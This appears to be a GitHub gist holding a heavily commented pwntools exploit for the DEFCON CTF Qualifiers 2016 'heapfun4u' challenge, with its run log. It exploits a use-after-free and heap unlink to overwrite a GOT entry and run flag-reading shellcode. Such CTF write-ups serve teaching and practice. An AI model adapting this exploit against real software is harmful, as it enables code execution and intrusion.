[*] './heapfun4u'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[x] Starting program './heapfun4u'
[+] Starting program './heapfun4u': Done
[*] Allocated 4064 bytes (index: 1)
[*] Freeing buffer 1
[*] Allocated 16 bytes (index: 2)
[*] Allocated 16 bytes (index: 3)
[*] Allocated 16 bytes (index: 4)
[*] Freeing buffer 3
[*] Heap layout:
heap[1]: 0x2aaaaaad5008 [4064 bytes]
heap[2]: 0x2aaaaaad5008 [16 bytes]
heap[3]: 0x2aaaaaad5020 [16 bytes]
heap[4]: 0x2aaaaaad5038 [16 bytes]
[*] Fake heap chunks created
Chunk @ 0x2aaaaaad5018
Size: 0x10
List: 0x2aaaaaad5020
Prev: 0x0
Next: 0x2aaaaaad5030
Chunk @ 0x2aaaaaad5030
Size: 0x20
List: 0x2aaaaaad5048
Prev: 0x2aaaaaad5018
Next: 0x2aaaaaad5058
Chunk @ 0x2aaaaaad5058
Size: -0x2aaaaa4d2ff8
List: 0x602058
Prev: 0x2aaaaaad5030
Next: 0x0
[*] Overwriting exit@got: 0x602060
[*] Writing data to buffer 1
[*] 2aaaaaad5008 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
2aaaaaad5018 12 00 00 00 00 00 00 00 30 50 ad aa aa 2a 00 00 │····│····│0P··│·*··│
2aaaaaad5028 00 00 00 00 00 00 00 00 22 00 00 00 00 00 00 00 │····│····│"···│····│
2aaaaaad5038 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
2aaaaaad5048 58 50 ad aa aa 2a 00 00 18 50 ad aa aa 2a 00 00 │XP··│·*··│·P··│·*··│
2aaaaaad5058 0a d0 b2 55 55 d5 ff ff 00 00 00 00 00 00 00 00 │···U│U···│····│····│
2aaaaaad5068 30 50 ad aa aa 2a 00 00 │0P··│·*··││
2aaaaaad5070
[*] Allocated 32 bytes (index: 5)
[*] Writing data to buffer 1
[*] 2aaaaaad5008 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
2aaaaaad5018 68 66 6c 61 67 6a 02 58 48 89 e7 31 f6 99 0f 05 │hfla│gj·X│H··1│····│
2aaaaaad5028 41 ba ff ff ff 7f 48 89 c6 6a 28 58 6a 01 5f 99 │A···│··H·│·j(X│j·_·│
2aaaaaad5038 0f 05 6a 3c 58 0f 05 │··j<│X··│
2aaaaaad503f
[x] Recieving all data
[x] Recieving all data: 0B
[*] Program './heapfun4u' stopped with exit code 1
[x] Recieving all data: 16B
[+] Recieving all data: Done (16B)
[+] THIS_IS_THE_FLAG
Last active
May 25, 2016 07:20
-
-
Save zachriggle/692342471645b1a25414561493a51357 to your computer and use it in GitHub Desktop.
DEFCON CTF Qualifiers 2016 -- heapfun4u Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
#============================================================================== | |
# DEFCON QUALS 2016 PWNABLE HEAPFUN4U | |
#============================================================================== | |
# | |
# This is a babysfirst challenge involving a custom heap implementation. | |
# | |
# tl;dr Use-After-Free and classic unlink mirrored write. | |
# | |
from pwn import * | |
context.binary = ELF('./heapfun4u') | |
if args['REMOTE']: | |
p = remote('heapfun4u_873c6d81dd688c9057d5b229cf80579e.quals.shallweplayaga.me', 3957) | |
else: | |
p = process(context.binary.path) | |
write('flag', 'THIS_IS_THE_FLAG') | |
# gdb.attach(p, 'continue') | |
#============================================================================== | |
# BACKGROUND | |
#============================================================================== | |
# | |
# heapfun4u is a menu-driven system which allows you to allocate, free, and | |
# write to buffers in its custom heap implementation. | |
# | |
# [A]llocate Buffer | |
# [F]ree Buffer | |
# [W]rite Buffer | |
# [N]ice guy | |
# [E]xit | |
# | | |
# | |
# Allocated buffers are referred to by index, and you can have a maximum of | |
# 100 allocated buffers. | |
# | |
# Even after freeing them, buffers can still be written to, using the original | |
# bounds on the buffer. --> THIS IS THE BUG <-- | |
# | |
# When you want to write to a buffer, you are presented with a list of all of | |
# the buffer indices, as well as their addresses and sizes, like this: | |
# | |
# | W | |
# 1) 0x7f3572af1008 -- 32 | |
# 2) 0x7f3572af1030 -- 64 | |
# 3) 0x7f3572af1078 -- 512 | |
# Write where: 1 | |
# Write what: foobar | |
# | |
# In order to assist in exploitation, here is a massively over-engineered object | |
# that helps to interact with the binary, and provides information that the | |
# 'write' menu gives us. | |
class HeapFun(object): | |
idx = 0 | |
dirty = 1 | |
_addresses = [] | |
_sizes = [] | |
def ready(self): | |
"""Wait for the prompt to appear.""" | |
p.recvuntil('| ') | |
def exit(self): | |
"""Exit cleanly by returning.""" | |
self.ready() | |
p.sendline('E') | |
def fail(self): | |
"""Exit roughly by calling exit().""" | |
self.ready() | |
p.sendline('@') | |
def allocate(self, size=16): | |
"""Allocate a buffer. | |
Returns: | |
Index of the buffer. | |
""" | |
self.ready() | |
p.sendline('A') | |
p.recvuntil('Size: ') | |
p.sendline(str(size)) | |
self.idx += 1 | |
log.info("Allocated %i bytes (index: %i)" % (size, self.idx)) | |
return self.idx | |
def free(self, index): | |
"""Free a buffer""" | |
log.info("Freeing buffer %i" % index) | |
self.ready() | |
p.sendline('F') | |
p.recvuntil('Index: ') | |
p.sendline(str(index)) | |
def write(self, index, value, dump=True): | |
"""Write data into a buffer""" | |
if dump: | |
log.info("Writing data to buffer %i" % index) | |
log.hexdump(value, begin=self.address[index]) | |
self.ready() | |
p.sendline('W') | |
address_data = p.recvuntil('Write where: ') | |
p.sendline(str(index)) | |
if value: | |
p.recvuntil('Write what: ') | |
p.send(value) | |
return address_data | |
@property | |
def address(self): | |
"""Returns a list of buffer addresses.""" | |
self.update() | |
return self._addresses | |
@property | |
def size(self): | |
"""Returns a list of buffer sizes.""" | |
self.update() | |
return self._sizes | |
@property | |
def metadata(self): | |
"""Returns a list of buffer metadata addresses.""" | |
return [i - metadata_size for i in self.address] | |
def update(self): | |
"""Updates all of the buffer sizes and addresses.""" | |
if not self.dirty or not self.idx: | |
return | |
data = self.write(1, '\xFF', dump=False) | |
self._addresses = [0] | |
self._sizes = [0] | |
for line in data.splitlines(): | |
if not line[0].isdigit(): | |
continue | |
index, address, dash, size = line.split() | |
self._addresses.append(int(address, 0)) | |
self._sizes.append(int(size)) | |
self.dirty = 0 | |
def __str__(self): | |
"""Returns a string containing the heap layout.""" | |
s = ['Heap layout:'] | |
for i, (addr, size) in enumerate(self): | |
s.append('heap[%i]: %#x [%i bytes]' % (i+1,addr,size)) | |
return '\n'.join(s) | |
def __len__(self): | |
"""Returns the number of entries in the heap.""" | |
return self.idx | |
def __iter__(self): | |
"""Iterates over all of the entries in the heap.""" | |
for i in range(1, 1+len(self)): | |
yield self.address[i], self.size[i] | |
heap = HeapFun() | |
#============================================================================== | |
# HEAP IMPLEMENTATION | |
#============================================================================== | |
# | |
# The heap implementation is relatively straightforward. Each allocation is | |
# prefixed by eight bytes of metadata. | |
# | |
# Each allocation is rounded up to a multiple of eight bytes, with a minimum | |
# of sixteen bytes. | |
# | |
# The metadata contains the size of the allocation, as well as a bit | |
# indicating whether the allocation is in-use. | |
# | |
# A global pointer is used to find the first free entry, and it uses a basic | |
# FILO (stack) to find free chunks. | |
# | |
# Allocations are satisfied in a first-fit manner. | |
# Large chunks are broken down to satisfy smaller allocations. | |
# | |
# When a large free chunk is broken, if there is less than 0x18 bytes remaining | |
# (i.e., the amount of memory for the metadata and linked list entry), the | |
# entry is removed from the linked-list. | |
page_size = 0x1000 | |
metadata_size = 8 | |
list_size = 8 + 8 | |
min_size = 16 | |
max_size = page_size - metadata_size*2 - list_size | |
#============================================================================== | |
# HEAP WRITE VIA USE-AFTER-FREE | |
#============================================================================== | |
# | |
# First, let's get an entry that will allow us to write to the entire heap. | |
x = heap.allocate(max_size) | |
# Let's free it up so that other things will be allocated in its place. | |
heap.free(x) | |
#============================================================================== | |
# HEAP GROOMING | |
#============================================================================== | |
# | |
# Now let's create a heap layout that looks like this: | |
# | |
# A B C | |
# [in-use] [free] [in-use] [free.............] | |
a = heap.allocate() | |
b = heap.allocate() | |
c = heap.allocate() | |
assert heap.address[a] < heap.address[b] | |
assert heap.address[b] < heap.address[c] | |
heap.free(b) | |
# Let's also dump out the heap for later inspection. | |
log.info(str(heap)) | |
#============================================================================== | |
# LINKED LISTS AND HEAP CHUNKS | |
#============================================================================== | |
# | |
# Our heap layout now looks like this: | |
# | |
# Linked List | |
# 0x602558 | |
# 0x2aaaaaad5018 usersize=0x10 | |
# 0x2aaaaaad5048 usersize=0xfb0 | |
# | |
# 0x002aaaaaad5000 - usersize=0x10 - [IN USE] | |
# | |
# 0x002aaaaaad5018 - usersize=0x10 - [FREE 2] | |
# @ 0x2aaaaaad5020 | |
# prev: 0x0 | |
# next: 0x2aaaaaad5048 | |
# | |
# 0x002aaaaaad5030 - usersize=0x10 - [IN USE] | |
# | |
# 0x002aaaaaad5048 - usersize=0xfb0 - [FREE 0] | |
# @ 0x2aaaaaad5ff0 | |
# prev: 0x2aaaaaad5018 | |
# next: 0x0 | |
# | |
# Now we can use the first entry we created to modify the | |
# prev and next entries in the linked list entry at [B]. | |
# | |
# Now we need to craft some "fake" linked list structures. | |
# This will grant us an arbitrary write of our choosing. | |
class HeapChunk(object): | |
"""Encapsulates information about a heap chunk""" | |
null = None | |
def __init__(self, address=0, size=0x10): | |
self.size = size | |
self.address = address | |
self.prev = HeapChunk.null | |
self.next = HeapChunk.null | |
self.padding = '\x00' * (self.size - 0x10) | |
def __rshift__(self, other): | |
self.next = other | |
other.prev = self | |
if not other.address: | |
other.address = self.address + len(self) | |
def __len__(self): | |
return len(flat(self)) | |
def __flat__(self): | |
return flat(self.size | 2, | |
self.padding, | |
self.next.address, | |
self.prev.address) | |
def __str__(self): | |
return '\n'.join(('Chunk @ %#x' % self.address, | |
' Size: %#x' % self.size, | |
' List: %#x' % (self.address + metadata_size + self.size - list_size), | |
' Prev: %#x' % self.prev.address, | |
' Next: %#x' % self.next.address, | |
)) | |
HeapChunk.null = HeapChunk() | |
#============================================================================== | |
# CREATING FAKE LIST ENTRIES | |
#============================================================================== | |
# | |
# We will create the following "free" chain of entries, in order of | |
# walking the 'next' link. | |
# | |
# [b, size=0x10] | |
# | ^ | |
# | next | prev | |
# v | | |
# [fake_d, size=0x20] | |
# | ^ | |
# | next | prev | |
# v | | |
# [fake_e, size=0x10] | |
oops_b = HeapChunk(heap.metadata[b]) | |
fake_d = HeapChunk(size=0x20) | |
fake_e = HeapChunk() | |
oops_b >> fake_d | |
fake_d >> fake_e | |
#============================================================================== | |
# OVERWRITING A GOT ENTRY | |
#============================================================================== | |
# | |
# Now we adjust the size of fake_e such that fake_e's metadata, | |
# overlays the GOT. | |
# | |
# The address of the metadata is calculated as: | |
# | |
# fake_e + fake_e.size | |
# | |
# In particular, we want fake_e.prev to be on 'exit@got'. | |
# | |
# Since our binary is not position-independent, the address never changes. | |
# | |
fake_e.size = context.binary.got['exit'] - fake_e.address | |
# Let's print out our entries :) | |
log.info("Fake heap chunks created") | |
log.indented(str(oops_b)) | |
log.indented(str(fake_d)) | |
log.indented(str(fake_e)) | |
log.info("Overwriting exit@got: %#x" % context.binary.got['exit']) | |
# Let's calculate the offset within the heap where our fake entries | |
# should begin. | |
# | |
# We know the absolute address of each buffer, so we can calculate the | |
# relative offset. | |
offset = heap.metadata[b] - heap.address[x] | |
# Now let's perform the overwrite. | |
heap.write(1, fit({ | |
offset: flat(oops_b, fake_d, fake_e) | |
})) | |
# Our heap now looks like this. | |
# | |
# Linked List | |
# 0x602558 | |
# 0x2aaaaaad5018 usersize=0x10 | |
# 0x2aaaaaad5030 usersize=0x20 | |
# 0x2aaaaaad5058 usersize=-0x2aaaaa4d2ff8 | |
# 0x2aaaaad07d20 usersize=0xaba08ec8348 | |
# | |
# 0x002aaaaaad5000 - usersize=0x10 | |
# +0000 0x2aaaaaad5008 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 |aaaa|baaa|caaa|daaa| | |
# +0010 0x2aaaaaad5018 | |
# | |
# 0x002aaaaaad5018 - usersize=0x10 - [FREE 2] | |
# @ 0x2aaaaaad5020 | |
# prev: 0x0 | |
# next: 0x2aaaaaad5030 | |
# | |
# 0x002aaaaaad5030 - usersize=0x20 - [FREE 2] | |
# @ 0x2aaaaaad5048 | |
# prev: 0x2aaaaaad5018 | |
# next: 0x2aaaaaad5058 | |
# | |
# 0x002aaaaaad5058 - usersize=-0x2aaaaa4d2ff8 - [FREE 2] | |
# ---> @ 0x602058 | |
# prev: 0x4006a6 | |
# next: 0x2aaaaad07d20 | |
# | |
# Note that the metadata address for the chunk starting at 0x002aaaaaad5058 | |
# is detected to be 0x602058, which is in the GOT. | |
# | |
# In particular, it is pointing at atoi@got. The "next" link points to the | |
# implementation of "atoi" in libc. | |
# | |
# The "prev" link points to "exit" in the PLT, as it still hasn't been called. | |
#============================================================================== | |
# TRIGGERING A HEAP UNLINK AND CONTROLLED WRITE | |
#============================================================================== | |
# | |
# And now let's trigger the unlink() | |
# | |
# The allocator will walk the list, and see that the first item that satisfies | |
# the entry size is our "fake_d" allocation. | |
# | |
# Since our requested size takes up all of the free space in "fake_d", the | |
# allocator needs to unlink it from the linked list. | |
# | |
# To do this, it performs the following operations: | |
# | |
# if (entry->next) | |
# (entry->next + entry->next.size)->prev = entry->prev | |
# | |
# if (entry->prev) | |
# (entry->prev + entry->prev.size)->next = entry->next | |
# | |
# Since we have control over all of the entries in the list, we have set things | |
# up such that "entry->next + entry->next.size" points into the GOT | |
# | |
heap.allocate(fake_d.size) | |
#============================================================================== | |
# WRITING OUR SHELLCODE | |
#============================================================================== | |
# | |
# We have overwritten 'exit@got' with a pointer into the heap. | |
# | |
# In particular, it now points to the metadata in allocation "B". | |
# | |
# This is the same location we wrote to last time, so we just write out | |
# shellcode there. | |
# | |
heap.write(1, fit({ | |
offset: asm(shellcraft.cat('flag') + shellcraft.exit()) | |
})) | |
#============================================================================== | |
# TRIGGING OUR SHELLCODE | |
#============================================================================== | |
# | |
# In order to cause the target to use our overwritten GOT pointer, it must call | |
# exit(). | |
# | |
# Technically we could have overwritten something else that it calls on its own, | |
# like puts(), and it would be triggered automatically. | |
# | |
# However, when debugging things, it helps to be able to control *when* the | |
# trigger occurs. | |
# | |
# If we enter an invalid menu entry, the binary will call exit(), so let's do | |
# that now. | |
# | |
heap.fail() | |
# Our shellcode prints out the flag, and then exits. | |
# The last line written should be our flag. | |
flag = p.recvall().splitlines()[-1] | |
log.success(flag) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment